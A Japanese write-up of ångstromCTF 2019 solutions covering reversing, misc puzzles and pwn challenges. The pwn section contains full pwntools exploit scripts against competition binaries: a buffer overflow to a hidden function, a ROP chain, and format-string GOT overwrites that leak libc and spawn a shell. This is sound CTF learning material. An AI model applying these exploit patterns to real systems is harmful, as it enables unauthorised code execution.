ångstromCTF writeup
ångstromCTFで僕が解いた問題のwriteup
pwnとrevとmiscを少しずつ
今回のctfはpicoctfの時みたいに各チームにアカウントが配られログインできるサーバーがある。そこに色々問題が置かれている。
ブラウザからもログインできるシェルもある。
Rev
Intro to Rev(10pt)
とりあえずログインして実行すると、どうすればいいか書いてあった。
team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev Welcome to your first reversing challenge! If you are seeing this, then you already ran the file! Let's try some input next. Enter the word 'angstrom' to continue: angstrom Good job! Some programs might also want you to enter information with a command line argument. When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string. To get the flag for this problem, run this file again with the arguments 'binary' and 'reversing' (don't put the quotes). team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev binary reversing Welcome to your first reversing challenge! If you are seeing this, then you already ran the file! Let's try some input next. Enter the word 'angstrom' to continue: angstrom Good job! Some programs might also want you to enter information with a command line argument. When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string. Good job, now go solve some real problems! actf{this_is_only_the_beginning}
FLAG:actf{this_is_only_the_beginning}
I Like It(40pt)
バイナリが配られるので読む。
fileコマンド
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev$ file ./i_like_it ./i_like_it: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=aacf2043e5e2bf56d4b871b4ca1695b2db440a01, not stripped
とりあえずgdbで読む。
gdb-peda$pdisas main ... ... 0x0000000000400791 <+42>: mov rdx,QWORD PTR [rip+0x2008d8] # 0x601070 <stdin@@GLIBC_2.2.5> 0x0000000000400798 <+49>: lea rax,[rbp-0x20] 0x000000000040079c <+53>: mov esi,0x14 0x00000000004007a1 <+58>: mov rdi,rax 0x00000000004007a4 <+61>: call 0x400640 <fgets@plt> 0x00000000004007a9 <+66>: lea rax,[rbp-0x20] 0x00000000004007ad <+70>: mov rdi,rax 0x00000000004007b0 <+73>: call 0x400610 <strlen@plt> 0x00000000004007b5 <+78>: sub rax,0x1 0x00000000004007b9 <+82>: mov BYTE PTR [rbp+rax*1-0x20],0x0 0x00000000004007be <+87>: lea rax,[rbp-0x20] 0x00000000004007c2 <+91>: lea rsi,[rip+0x1a8] # 0x400971 0x00000000004007c9 <+98>: mov rdi,rax 0x00000000004007cc <+101>: call 0x400650 <strcmp@plt> 0x00000000004007d1 <+106>: test eax,eax 0x00000000004007d3 <+108>: je 0x4007eb <main+132> 0x00000000004007d5 <+110>: lea rdi,[rip+0x19f] # 0x40097b 0x00000000004007dc <+117>: call 0x400600 <puts@plt> 0x00000000004007e1 <+122>: mov edi,0x0 0x00000000004007e6 <+127>: call 0x400670 <exit@plt> 0x00000000004007eb <+132>: lea rdi,[rip+0x1a0] # 0x400992 0x00000000004007f2 <+139>: call 0x400600 <puts@plt> 0x00000000004007f7 <+144>: lea rdi,[rip+0x1b2] # 0x4009b0 0x00000000004007fe <+151>: call 0x400600 <puts@plt> 0x0000000000400803 <+156>: mov rdx,QWORD PTR [rip+0x200866] # 0x601070 <stdin@@GLIBC_2.2.5> 0x000000000040080a <+163>: lea rax,[rbp-0x2c] 0x000000000040080e <+167>: mov esi,0xc 0x0000000000400813 <+172>: mov rdi,rax 0x0000000000400816 <+175>: call 0x400640 <fgets@plt> 0x000000000040081b <+180>: lea rcx,[rbp-0x30] 0x000000000040081f <+184>: lea rdx,[rbp-0x34] 0x0000000000400823 <+188>: lea rax,[rbp-0x2c] 0x0000000000400827 <+192>: lea rsi,[rip+0x1bf] # 0x4009ed 0x000000000040082e <+199>: mov rdi,rax 0x0000000000400831 <+202>: mov eax,0x0 0x0000000000400836 <+207>: call 0x400660 <__isoc99_sscanf@plt> 0x000000000040083b <+212>: mov edx,DWORD PTR [rbp-0x34] 0x000000000040083e <+215>: mov eax,DWORD PTR [rbp-0x30] 0x0000000000400841 <+218>: add eax,edx 0x0000000000400843 <+220>: cmp eax,0x88 0x0000000000400848 <+225>: jne 0x400864 <main+253> 0x000000000040084a <+227>: mov edx,DWORD PTR [rbp-0x34] 0x000000000040084d <+230>: mov eax,DWORD PTR [rbp-0x30] 0x0000000000400850 <+233>: imul eax,edx 0x0000000000400853 <+236>: cmp eax,0xec7 0x0000000000400858 <+241>: jne 0x400864 <main+253> 0x000000000040085a <+243>: mov edx,DWORD PTR [rbp-0x34] 0x000000000040085d <+246>: mov eax,DWORD PTR [rbp-0x30] 0x0000000000400860 <+249>: cmp edx,eax 0x0000000000400862 <+251>: jl 0x40087a <main+275> ... gdb-peda$ x/15s 0x400971 0x400971: "okrrrrrrr" 0x40097b: "Cardi don't lik"... 0x40098a: "e that." 0x400992: "I said I like i"... 0x4009a1: "t like that!" 0x4009ae: "" 0x4009af: "" 0x4009b0: "I like two inte"... 0x4009bf: "gers that I'm t"... 0x4009ce: "hinking of (spa"... 0x4009dd: "ce separated): " 0x4009ec: "" 0x4009ed: "%d %d" 0x4009f3: "Flag: actf{%s_%"... 0x400a02: "d_%d}\n"
最初のfgetsで0x400971からの文字列と比較、一致すれば、fgetsからの入力をsscanfのフォーマット"%d %d"で二つの10進数を入力する。二つの入力をa,bとするとそのあとのアセンブリより
a+b = 0x88
a*b = 0xec7
a < bであることがわかるのでこれを解く。a = 39, b = 97
FLAG:actf{okrrrrrrr_39_97}
One Bite(60pt)
fileコマンド
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/one_b$ file one_bite one_bite: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f2e0bf29ac3cda06d867b815711a05358eab373, not stripped
ディスアセンブルで大事なところを載せる
gdb-peda$pdisas main ... ... 0x00000000004006a2 <+43>: mov rdx,QWORD PTR [rip+0x2009a7] # 0x601050 <stdin@@GLIBC_2.2.5> 0x00000000004006a9 <+50>: lea rax,[rbp-0x40] 0x00000000004006ad <+54>: mov esi,0x22 0x00000000004006b2 <+59>: mov rdi,rax 0x00000000004006b5 <+62>: call 0x400570 <fgets@plt> 0x00000000004006ba <+67>: mov DWORD PTR [rbp-0x4c],0x0 0x00000000004006c1 <+74>: jmp 0x4006df <main+104> 0x00000000004006c3 <+76>: mov eax,DWORD PTR [rbp-0x4c] 0x00000000004006c6 <+79>: cdqe 0x00000000004006c8 <+81>: movzx eax,BYTE PTR [rbp+rax*1-0x40] 0x00000000004006cd <+86>: xor eax,0x3c 0x00000000004006d0 <+89>: mov edx,eax 0x00000000004006d2 <+91>: mov eax,DWORD PTR [rbp-0x4c] 0x00000000004006d5 <+94>: cdqe 0x00000000004006d7 <+96>: mov BYTE PTR [rbp+rax*1-0x40],dl 0x00000000004006db <+100>: add DWORD PTR [rbp-0x4c],0x1 0x00000000004006df <+104>: mov eax,DWORD PTR [rbp-0x4c] 0x00000000004006e2 <+107>: movsxd rbx,eax 0x00000000004006e5 <+110>: lea rax,[rbp-0x40] 0x00000000004006e9 <+114>: mov rdi,rax 0x00000000004006ec <+117>: call 0x400550 <strlen@plt> 0x00000000004006f1 <+122>: cmp rbx,rax 0x00000000004006f4 <+125>: jb 0x4006c3 <main+76> 0x00000000004006f6 <+127>: lea rax,[rip+0x103] # 0x400800 0x00000000004006fd <+134>: mov QWORD PTR [rbp-0x48],rax 0x0000000000400701 <+138>: mov rdx,QWORD PTR [rbp-0x48] 0x0000000000400705 <+142>: lea rax,[rbp-0x40] 0x0000000000400709 <+146>: mov rsi,rdx 0x000000000040070c <+149>: mov rdi,rax 0x000000000040070f <+152>: call 0x400580 <strcmp@plt> ... ... gdb-peda$ x/34bx 0x400800 0x400800: 0x5d 0x5f 0x48 0x5a 0x47 0x55 0x63 0x48 0x400808: 0x54 0x55 0x52 0x57 0x63 0x55 0x51 0x63 0x400810: 0x5b 0x53 0x55 0x52 0x5b 0x63 0x48 0x53 0x400818: 0x63 0x5e 0x59 0x63 0x4f 0x55 0x5f 0x57 0x400820: 0x41 0x00
入力を1文字ずつ^=0x3cして、0x400800と比較している。つまりこういうことだ。
#include <stdio.h> #include <string.h> #include <stdlib.h> int main() { char flag [0x21] = {0x5d, 0x5f, 0x48, 0x5a, 0x47, 0x55, 0x63, 0x48, 0x54, 0x55, 0x52, 0x57, 0x63, 0x55, 0x51, 0x63, 0x5b ,0x53, 0x55, 0x52, 0x5b, 0x63, 0x48, 0x53, 0x63, 0x5e ,0x59, 0x63, 0x4f, 0x55, 0x5f, 0x57, 0x41}; int i ; for(i = 0; i < 0x21; i++){ printf("%c", flag[i] ^ 0x3c); } printf("\n"); return 0; }
flagの配列はこのくらいの長さなら手で打ち込めるが、長い場合はopenやlseek等を使って抽出した方がもちろんいい。
FLAG: actf{i_think_im_going_to_be_sick}
High Quality Checks(110pt)
fileコマンド
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/high_q_check$ file high_q high_q: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e7556b55e0c73b4de8b3f387571dd59c3535a0ee, not stripped
これはもうゴリゴリ読んだ。関数がめちゃくちゃあったから大変だった。こういうのはangrみたいなシンボリック実行ツールがあると楽なんだが、まだ使いこなせていない。復習にangrで解こうと思う。
FLAG: actf忘れた
icthyo(130pt)
libpngを使った面白い問題だった。なんかリバースエンジニアリングって感じがした。結局はcrackmeと同じくinputの文字列に依存するものだったけども。
配られるファイルは実行バイナリとout.png
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ file icthyo icthyo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=a390bbd4f8eff8fbbd02411a754ded08162de918, not stripped kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ ./icthyo USAGE: ./icthyo in.png out.png
第一引数にpngファイルを指定し、第3引数のファイル名でpngファイルを作成するようだ。今回は作成されたout.pngが配られたみたい。
gdbで見るとread_file関数でin.pngを読み込んで、pngファイルを扱う構造体の初期化を行う感じ、encode関数で読み込んだpngファイルのbitをいじる。write_file関数でいじったやつを新たにpngファイルとして作成する、って感じだ。
encode関数のなかでrandom関数とかを呼んだりしているが、そこの部分は関係なくて、fgetsの入力でbitが操作される部分を見れば十分。大事な部分のディスアセンブリを載せる。
gdb-peda$ pdisas encode .... .... 0x0000000000401025 <+338>: mov DWORD PTR [rbp-0x130],0x0 0x000000000040102f <+348>: jmp 0x401104 <encode+561> 0x0000000000401034 <+353>: mov edx,DWORD PTR [rbp-0x130] 0x000000000040103a <+359>: mov eax,edx 0x000000000040103c <+361>: add eax,eax 0x000000000040103e <+363>: add eax,edx 0x0000000000401040 <+365>: shl eax,0x5 0x0000000000401043 <+368>: movsxd rdx,eax 0x0000000000401046 <+371>: mov rax,QWORD PTR [rbp-0x128] 0x000000000040104d <+378>: add rax,rdx 0x0000000000401050 <+381>: mov QWORD PTR [rbp-0x120],rax 0x0000000000401057 <+388>: mov eax,DWORD PTR [rbp-0x138] 0x000000000040105d <+394>: cdqe 0x000000000040105f <+396>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x0000000000401067 <+404>: movsx edx,al 0x000000000040106a <+407>: mov eax,DWORD PTR [rbp-0x130] 0x0000000000401070 <+413>: mov ecx,eax 0x0000000000401072 <+415>: sar edx,cl 0x0000000000401074 <+417>: mov eax,edx 0x0000000000401076 <+419>: and eax,0x1 0x0000000000401079 <+422>: mov DWORD PTR [rbp-0x12c],eax 0x000000000040107f <+428>: mov rax,QWORD PTR [rbp-0x120] 0x0000000000401086 <+435>: add rax,0x2 0x000000000040108a <+439>: movzx eax,BYTE PTR [rax] 0x000000000040108d <+442>: movzx eax,al 0x0000000000401090 <+445>: and eax,0x1 0x0000000000401093 <+448>: test eax,eax 0x0000000000401095 <+450>: je 0x4010b5 <encode+482> 0x0000000000401097 <+452>: mov rax,QWORD PTR [rbp-0x120] 0x000000000040109e <+459>: add rax,0x2 0x00000000004010a2 <+463>: movzx edx,BYTE PTR [rax] 0x00000000004010a5 <+466>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010ac <+473>: add rax,0x2 0x00000000004010b0 <+477>: xor edx,0x1 0x00000000004010b3 <+480>: mov BYTE PTR [rax],dl 0x00000000004010b5 <+482>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010bc <+489>: add rax,0x2 0x00000000004010c0 <+493>: movzx eax,BYTE PTR [rax] 0x00000000004010c3 <+496>: mov ecx,eax 0x00000000004010c5 <+498>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010cc <+505>: movzx edx,BYTE PTR [rax] 0x00000000004010cf <+508>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010d6 <+515>: add rax,0x1 0x00000000004010da <+519>: movzx eax,BYTE PTR [rax] 0x00000000004010dd <+522>: xor eax,edx 0x00000000004010df <+524>: and eax,0x1 0x00000000004010e2 <+527>: mov edx,eax 0x00000000004010e4 <+529>: mov eax,DWORD PTR [rbp-0x12c] 0x00000000004010ea <+535>: xor eax,edx 0x00000000004010ec <+537>: or ecx,eax 0x00000000004010ee <+539>: mov edx,ecx 0x00000000004010f0 <+541>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010f7 <+548>: add rax,0x2 0x00000000004010fb <+552>: mov BYTE PTR [rax],dl 0x00000000004010fd <+554>: add DWORD PTR [rbp-0x130],0x1 0x0000000000401104 <+561>: cmp DWORD PTR [rbp-0x130],0x7 0x000000000040110b <+568>: jle 0x401034 <encode+353> 0x0000000000401111 <+574>: add DWORD PTR [rbp-0x138],0x1 0x0000000000401118 <+581>: cmp DWORD PTR [rbp-0x138],0xff 0x0000000000401122 <+591>: jle 0x400f3f <encode+108> 0x0000000000401128 <+597>: nop ... ... ...
libpngのpng_infoやpng_structについての詳細は省略する。実行バイナリに倣って、使ったこともないlibpngを使ってsolve.cを書こう。
//solve.c #include <stdio.h> #include <stdlib.h> #include <png.h> int main(int argc, char** argv) { FILE* fp; png_structp png_ptr; png_infop info_ptr; unsigned long width, height; unsigned long** rows; int i, j, k; fp = fopen(argv[1], "rb"); png_ptr = png_create_read_struct("1.6.34", 0, 0, 0); info_ptr = png_create_info_struct(png_ptr); png_init_io(png_ptr, fp); png_read_info(png_ptr,info_ptr); rows = (png_bytepp)malloc(0x800); for(i = 0; i <= 0xff; i++){ rows[i] = (png_bytep)malloc(png_get_rowbytes(png_ptr, info_ptr)); } png_read_image(png_ptr, rows); char* _x120; char tmp; char pt; for(i = 0; i <= 0xff; i++){ tmp = 0; pt = 0; for(k = 0; k <= 7; k++){ _x120 = (char*)(((unsigned long) *(rows+i)) + k*3*32); tmp = *(_x120+2) & 0x1; tmp ^= (*(_x120)^*(_x120+1))&0x1; pt |= tmp << k; } printf("%c", pt); } return 0; }
FLAG:actf{lurking_in_the_depths_of_random_bits}
pwn
Aquarium(50pt)
cのソースコードも配られ良心的。
バイナリ情報
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ checksec.sh --file aquarium RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH aquarium kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ file aquarium aquarium: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d83c04fed4657a5e5675412f5a2568c6850c0f70, not stripped
//aquarium.c #include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } struct fish_tank { char name[50]; int fish; int fish_size; int water; int width; int length; int height; }; struct fish_tank create_aquarium() { struct fish_tank tank; printf("Enter the number of fish in your fish tank: "); scanf("%d", &tank.fish); getchar(); printf("Enter the size of the fish in your fish tank: "); scanf("%d", &tank.fish_size); getchar(); printf("Enter the amount of water in your fish tank: "); scanf("%d", &tank.water); getchar(); printf("Enter the width of your fish tank: "); scanf("%d", &tank.width); getchar(); printf("Enter the length of your fish tank: "); scanf("%d", &tank.length); getchar(); printf("Enter the height of your fish tank: "); scanf("%d", &tank.height); getchar(); printf("Enter the name of your fish tank: "); char name[50]; gets(name); strcpy(name, tank.name); return tank; } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); struct fish_tank tank; tank = create_aquarium(); if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) { printf("Your fish tank has overflowed!\n"); return 1; } printf("Nice fish tank you have there.\n"); return 0; }
getsの脆弱性。オーバーフローが起こせそう。リターンアドレスをflag関数にしてやる。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' conn = ssh(host='shell.actf.co', user='team***', password='***') conn.set_working_directory('/problems/2019/aquarium') pro = conn.process('./aquarium') flag_addr = 0x4011b6 payload = "A"*0x98 payload += p64(flag_addr) pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline(payload) pro.interactive()
FLAG:actf{overflowed_more_than_just_a_fish_tank}
Chain of Rope(80pt)
またcのコード付き
バイナリ情報
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ file chain_of_rope chain_of_rope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=064faad4fb2a3a1b7600f988df09e3d7dd9c44d5, not stripped kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ checksec.sh --file chain_of_rope RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH chain_of_rope
//chain_of_rope.c #include <stdlib.h> #include <stdio.h> #include <string.h> int userToken = 0; int balance = 0; int authorize () { userToken = 0x1337; return 0; } int addBalance (int pin) { if (userToken == 0x1337 && pin == 0xdeadbeef) { balance = 0x4242; } else { printf("ACCESS DENIED\n"); } return 0; } int flag (int pin, int secret) { if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) { printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n"); system("/bin/cat flag.txt"); } else { printf("ACCESS DENIED\n"); } return 0; } void getInfo () { printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance); } int main() { char name [32]; printf("--== ROPE CHAIN BLACK MARKET ==--\n"); printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n"); printf("What would you like to do?\n"); printf("1 - Set name\n"); printf("2 - Get user info\n"); printf("3 - Grant access\n"); int choice; scanf("%d\n", &choice); if (choice == 1) { gets(name); } else if (choice == 2) { getInfo(); } else if (choice == 3) { printf("lmao no\n"); } else { printf("I don't know what you're saying so get out of my black market\n"); } return 0; }
またもやgetsがあるのでoverflowの脆弱性。flag関数の引数チェックを通るには、authorize()でグローバル変数userTokenをセットしたあとaddBalance(0xdeadbeef)を呼んでグローバル変数balanceをセットしたあとflag(0xba5eba11, 0xbeddab1e)を呼べば良い。
64bitバイナリなので引数はレジスタにセットする。rpでそのガジェットを検索してエクスプロイトコードを書く。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' conn = ssh(host='shell.actf.co', user='team***', password='****') conn.set_working_directory('/problems/2019/chain_of_rope') pro = conn.process('./chain_of_rope') flag_func = 0x4011eb auth_func = 0x401196 addb_func = 0x4011ab pop_rsi_r15 = 0x401401 pop_rdi = 0x401403 buf_size = 0x30 payload = "1" payload += "A"*buf_size payload += "A"*8 payload += p64(auth_func) payload += p64(pop_rdi) payload += p64(0xdeadbeef) payload += p64(addb_func) payload += p64(pop_rsi_r15) payload += p64(0xbedabb1e) payload += "A"*8 payload += p64(pop_rdi) payload += p64(0xba5eba11) payload += p64(flag_func) pro.recvuntil("access\n") pro.sendline(payload) pro.interactive()
FLAG:actf{dark_web_bargains}
この問題、問題文のバイナリと実際に動いているバイナリが少し違って、関数のアドレスだったりgetsの引数バッファの位置が違ってかなり困惑した。
今見たらまた変わってた。
Purchases(120pt)
cのコードついている。おそらくこのctf全部cソースがある。嬉しいね。
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ file purchases purchases: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=81d703c9e71c8e60af8bdd4515f6bada05bcbcf8, not stripped kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ checksec.sh --file ./purchases RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH ./purchases
//purchases.c #include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char item[60]; printf("What item would you like to purchase? "); fgets(item, sizeof(item), stdin); item[strlen(item)-1] = 0; if (strcmp(item, "nothing") == 0) { printf("Then why did you even come here? "); } else { printf("You don't have any money to buy "); printf(item); printf("s. You're wasting your time! We don't even sell "); printf(item); printf("s. Leave this place and buy "); printf(item); printf(" somewhere else. "); } printf("Get out!\n"); return 0; }
printfのfsbがある。3つも。そんなにいらないが。
注意すべきはfgetsのあと最後の文字をnull文字にしていること。これに気がつかず、かなり時間をとった。
mainの最後のprintfはコンパイルするとputsになっていたので、puts@gotをflag関数に書き換える。
第8引数からがitem変数の先頭をさしていた。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' conn = ssh(host='shell.actf.co', user='team***', password='****') conn.set_working_directory('/problems/2019/purchases') pro = conn.process('./purchases') puts_got= 0x404018 flag_func = 0x4011b6 target_off = 0x20 first = flag_func >> 16 second = (flag_func & 0xffff) - first payload = "%" + str(8+target_off/8) +"$n" payload += "%" + str(first) + "x" payload += "%" + str(8+target_off/8+1) + "$hn" payload += "%" + str(second) + "x" payload += "%" + str(8+target_off/8+2) + "$hn" payload += "A" * (target_off - len(payload)) payload += p64(0xff404018+4) #0xff will be replaced in 0x00 payload += p64(puts_got+2) payload += p64(puts_got) pro.recvuntil("purchase? ") pro.sendline(payload) pro.interactive()
FLAG:actf{limited_edition_flag}
Returns(160pt)
この問題ではバイナリ、cソースコードに加えて、libcも配られた。まあサーバー上のlibcのバージョンのものであろう。
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ file returns returns: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=64f74f862ba5864cb66351be406d4f1d1d07a3b6, not stripped kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ checksec.sh --file ./returns RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH ./returns
#include <stdlib.h> #include <stdio.h> #include <string.h> int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char item[50]; printf("What item would you like to return? "); fgets(item, 50, stdin); item[strlen(item)-1] = 0; if (strcmp(item, "nothing") == 0) { printf("Then why did you even come here? "); } else { printf("We didn't sell you a "); printf(item); printf(". You're trying to scam us! We don't even sell "); printf(item); printf("s. Leave this place and take your "); printf(item); printf(" with you. "); } printf("Get out!\n"); return 0; }
上のpurchaseの問題とかなり類似している。異なる点はitemの長さが短くなったことやflag関数がなくなった点がある。同じくprintfのfsbが存在し、mainの最後のprintfはputsでコンパイルされている。
流れとしてはputs@gotをmain関数に書き換え、main関数がループするようにする。その後どこか適当なgot領域をprintfで読み出し、libcのbaseを計算し、strlen@gotをsystemに書き換え、fgetsで"/bin/sh"を入力し、strlenに渡す。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' conn = ssh(host='shell.actf.co', user='team***', password='***') conn.set_working_directory('/problems/2019/returns') pro = conn.process('./returns') main_addr = 0x4011a6 strlen_got = 0x404020 puts_got = 0x404018 #in libc system_offset = 0x45390 puts_offset = 0x6f690 strlen_offset = 0x8b720 buf_off = 32 payload = "%" + str(0x40) + "x" payload += "%" + str(8+buf_off/8) + "$hn" payload += "%" + str(0x11a6-0x40) + "x" payload += "%" + str(8+buf_off/8+1) + "$hn" payload += "A" * (buf_off - len(payload)) payload += p64(0xff404018+0x2) #0xff will be replaced to 0x00 payload += p64(puts_got) pro.recvuntil("return? ") pro.sendline(payload) payload = "%" + str(8+buf_off/8) + "$s" payload += "A" * (buf_off -len(payload)) payload += p64(0xff404020) #0xff will be replaced to 0x00 pro.recvuntil("return? ") pro.sendline(payload) pro.recvuntil("you a ") strlen_libc = pro.recvuntil("A") strlen_libc = strlen_libc[0:len(strlen_libc)-1] strlen_libc += "\x00"*(8-len(strlen_libc)) strlen_libc = u64(strlen_libc) system_libc = strlen_libc - strlen_offset + system_offset first = system_libc & 0xffff second = (system_libc >> 16) & 0xffff second = second + 0x10000 - first payload = "%" + str(first) + "x" payload += "%" + str(8+buf_off/8) + "$hn" payload += "%" + str(second) + "x" payload += "%" + str(8+buf_off/8+1) + "$hn" payload += "A" * (buf_off - len(payload)) payload += p64(0xff404020) #0xff will be replaced to 0x00 payload += p64(strlen_got+2) pro.recvuntil("return? ") pro.sendline(payload) pro.recvuntil("return? ") print "strlen :" + hex(strlen_libc) print "system : " + hex(system_libc) print "first : " + hex(first) print "second : " + hex(second) pro.interactive()
interactiveモードになったら/bin/shなりcat flag.txtなり入力する
FLAG:actf{no_returns_allowed}
misc
Blank Paper(30pt)
壊れたpdfが配られるので、バイナリエディタで開くと最初の4バイトがnullになっているので、asciiで"%PDF"に書き換えてあげる。
FLAG:actf{knot_very_interesting}
Paper Bin(40pt)
.datファイルが配布される。binwalkでみると色々pdfやらが入ってそう
foremostに投げるといくつかpdfを取り出してくれてそのうちの一つ00011880.pdfにflagが
FLAG:actf{proof_by_triviality}
Just Letters(60pt)
問題文の中にリンクとサーバー
https://esolangs.org/wiki/AlphaBeta
サーバーにつなぐとこんな感じ
$ nc 54.159.113.26 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: >
メモリを読み出せば良いらしく、リンク先のHello World!の例文をみると、register 3にセットしたものを出力できるらしいので、メモリから1文字ずつregister 1にセットしそれをregister 3にコピーしoutputを繰り返す。一つのループは"GCLS"で出来るのでこれを適当に繰り返す。
brainfuckの一種か
FLAG:actf{esolangs_sure_are_fun!}
まとめ
楽しかた
お疲れした
何かあればコメントください